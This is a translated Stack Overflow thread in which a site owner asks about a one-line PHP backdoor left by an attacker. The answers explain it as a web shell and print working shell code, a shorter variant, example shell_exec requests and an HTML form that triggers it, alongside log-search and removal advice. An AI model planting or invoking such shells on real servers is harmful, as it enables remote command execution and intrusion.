找到黑客留下的代码,但不明白它的作用

时间:2013-10-29 15:45:58

标签: php security deobfuscation cracking

我在一个PHP文件中找到了黑客留下的一行脚本。它的内容如下:

<?php

($_=@$_GET[2]).@$_($_POST[1]);

?>

任何人都可以提供一些关于这行代码的提示吗?谢谢

3 个答案:

答案 0 :(得分:10)

由于问题已暂停,我已将其作为评论发布,现在作为答案:

它是一个PHP shell。如果将其重写为<?php ($_=@$_GET[2]).@$_($_GET[1]); ?>,则URL file.php?2=shell_exec&1=whoami将在shell上执行命令whoami。在您的示例中,一个参数通过POST传递,一个通过GET传递。所以打电话有点困难。

你也可以用它调用其他功能。第一个参数始终是函数名,第二个参数是被调用函数的参数。

显然,它是在http://h.ackack.net/tiny-php-shell.htmlhttps://twitter.com/dragosr/status/116759108526415872)上解释的,但该网站并没有为我加载。

/ edit:如果您可以访问服务器日志文件,则可以搜索它们以查看黑客是否使用了此shell。 shell上的简单egrep "(&|\?)2=.+" logs*应该可以正常工作。你只能看到执行命令的一半(只有GET,而不是POST),但这可能有助于查看攻击者是否真正使用了他的脚本。

答案 1 :(得分:8)

正如Reeno在评论中所说,它就像一个PHP shell。

解释

  • 将GET变量与键“2”存储在名为$_的变量中。由于PHP的弱类型性质,我们不需要数字周围的引号。

    $_=@$_GET[2]
    
  • $_视为可调用的函数名称,并以$_POST[1]作为第一个参数执行它。

    @$_($_POST[1])
    

@运算符应该禁止错误记录,请参阅PHP.net: Error Control Operators

两个语句之间的连接运算符实际上并不重要。它可以像这样重写:

$_=@$_GET[2];
@$_($_POST[1]);

用例

调用任意函数。我不会提到成功攻击的具体HTTP头,但对于每个(网络)程序员来说这应该相当容易。

答案 2 :(得分:6)

首先,您必须尽快删除这些行。

此代码用于调用PHP函数。举个例子,你的黑客将使用这种形式:

<form method="post" action="http://site.com/page.php?2=shell_exec">
    <input name="1" value="ipconfig -all"/>
    <input type="submit" value="Send"/>
</form>

然后你会得到这个值:

  • $_ = $_GET[2] = shell_exec
  • $_POST[1] = ipconfig -all
  • $_($_POST[1]) = $_("ipconfig -all") = shell_exec("ipconfig -all")

@可以禁用错误。


更简单的例子是使用此代码:

<?= @$_GET['c'](@$_GET['p']); ?>

只需拨打http://site.com/page.php?c=shell_exec&p=ipconfig%20-all即可。